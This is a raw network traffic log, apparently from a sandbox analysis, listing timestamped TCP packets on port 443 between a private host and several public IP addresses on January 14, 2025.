Jan 14, 2025 20:02:15.747587919 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.749985933 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.750039101 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.750080109 CET	443	49751	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.750174999 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.750200987 CET	443	49751	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.750307083 CET	443	49751	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.750365973 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.750921011 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.751003027 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.751080036 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.751281023 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.751298904 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.221524954 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.222230911 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.222265959 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.223932028 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.224030972 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.224850893 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.224941015 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.225054979 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.225070953 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.275989056 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.533763885 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.533997059 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.534115076 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.535517931 CET	49755	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.535557985 CET	443	49755	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.580039978 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.580136061 CET	443	49756	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:16.580332994 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.580626011 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:16.580662012 CET	443	49756	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.068789959 CET	443	49756	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.069226027 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.069289923 CET	443	49756	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.070502043 CET	443	49756	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.070606947 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.071110010 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.071145058 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.071196079 CET	443	49756	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.071199894 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.071252108 CET	49756	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.071621895 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.071722031 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.071805954 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.072016001 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.072053909 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.528573990 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.529090881 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.529115915 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.529469013 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.529900074 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.529966116 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.530119896 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.575325012 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.838634968 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.838767052 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.838840961 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.838924885 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.839081049 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.839157104 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.841510057 CET	49757	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:17.841546059 CET	443	49757	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:17.908335924 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:17.908400059 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:17.908476114 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:17.908752918 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:17.908802986 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.400636911 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.406548977 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.406614065 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.407974005 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.408145905 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.408874989 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.408972979 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.409030914 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.455331087 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.456274033 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.456347942 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.503046989 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.528134108 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.528306007 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.528563976 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.528791904 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.528814077 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.530545950 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.530658960 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:18.530769110 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.530968904 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:18.530999899 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.034219027 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.038554907 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.038644075 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.039479971 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.042327881 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.042406082 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.042485952 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.087333918 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.162678957 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.162822962 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.162915945 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163007021 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163006067 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.163054943 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163106918 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.163119078 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163172960 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.163180113 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163259029 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163362980 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163425922 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.163440943 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.163496017 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.163508892 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.213284016 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.213354111 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253058910 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253154039 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253242016 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253290892 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.253329992 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253357887 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253366947 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.253401041 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.253444910 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253882885 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.253938913 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.253968954 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.254084110 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.254138947 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.254153013 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.254785061 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.254852057 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.254865885 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.254956961 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255002022 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.255014896 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255115032 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255187035 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.255189896 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255213976 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255256891 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.255645990 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255801916 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255877972 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.255886078 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255908012 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.255970955 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.255995035 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.256705046 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.256758928 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.256772041 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.256947041 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.256993055 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.263140917 CET	49759	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:02:19.263173103 CET	443	49759	104.18.95.41	192.168.2.4
Jan 14, 2025 20:02:19.481314898 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.481342077 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.481405020 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.481596947 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.481607914 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.519923925 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.520020962 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.520092010 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.520401001 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.520435095 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.615022898 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:19.615066051 CET	443	49762	216.58.206.36	192.168.2.4
Jan 14, 2025 20:02:19.615132093 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:19.615520954 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:19.615536928 CET	443	49762	216.58.206.36	192.168.2.4
Jan 14, 2025 20:02:19.957190037 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.957490921 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.957520008 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.958463907 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.958556890 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.958822966 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.958887100 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.958957911 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.958977938 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.979804039 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.980180979 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.980243921 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.983795881 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:19.983884096 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.984165907 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.984273911 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:19.984349966 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.014065027 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.030247927 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.030313969 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.077923059 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.100765944 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101027012 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101106882 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.101130009 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101223946 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101284027 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.101296902 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101394892 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101452112 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.101463079 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101547003 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.101599932 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.101610899 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.105515957 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.105586052 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.105598927 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128160954 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128308058 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128401041 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128494978 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128504038 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.128580093 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128619909 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.128683090 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128740072 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.128757000 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128864050 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.128917933 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.128931046 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.132553101 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.132630110 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.132638931 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.132666111 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.132711887 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.132769108 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.142507076 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.142565966 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.142657042 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.142829895 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.142848015 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.151241064 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.179187059 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.191344976 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.191420078 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.191448927 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.191476107 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.191502094 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.191512108 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.191539049 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.191565990 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.192045927 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.192092896 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.192106009 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.192157030 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.192168951 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.192348957 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.192892075 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.192982912 CET	49760	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.193011045 CET	443	49760	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.197074890 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.197160959 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.199115992 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.199330091 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.199352026 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.214550018 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.214745998 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.214854002 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.214932919 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.214946985 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.214998960 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215061903 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.215079069 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215127945 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.215142012 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215243101 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215295076 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.215306997 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215596914 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215687037 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215737104 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.215749979 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215851068 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215908051 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.215919971 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.215970039 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.215981007 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.216433048 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.216510057 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.216511011 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.216526031 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.216599941 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.216645002 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.216650963 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.216665030 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.216697931 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.217253923 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.217304945 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.217307091 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.217317104 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.217365026 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.217375994 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.217400074 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.217447996 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.217470884 CET	443	49761	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.217495918 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.217495918 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.218918085 CET	49761	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.260024071 CET	443	49762	216.58.206.36	192.168.2.4
Jan 14, 2025 20:02:20.260287046 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:20.260348082 CET	443	49762	216.58.206.36	192.168.2.4
Jan 14, 2025 20:02:20.261596918 CET	443	49762	216.58.206.36	192.168.2.4
Jan 14, 2025 20:02:20.261677980 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:20.262561083 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:20.262634993 CET	443	49762	216.58.206.36	192.168.2.4
Jan 14, 2025 20:02:20.308787107 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:20.308862925 CET	443	49762	216.58.206.36	192.168.2.4
Jan 14, 2025 20:02:20.355798006 CET	49762	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:02:20.613255024 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.613576889 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.613600969 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.614686012 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.614964008 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.615094900 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.615107059 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.615144968 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.666754007 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.667033911 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.667078018 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.667442083 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.667745113 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.667819977 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.667867899 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.670087099 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.715338945 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.718070030 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.745682001 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.745829105 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.745918989 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.745985985 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.746016979 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.746077061 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.746088028 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.746180058 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.746274948 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.746345043 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.746352911 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.746368885 CET	443	49763	104.18.94.41	192.168.2.4
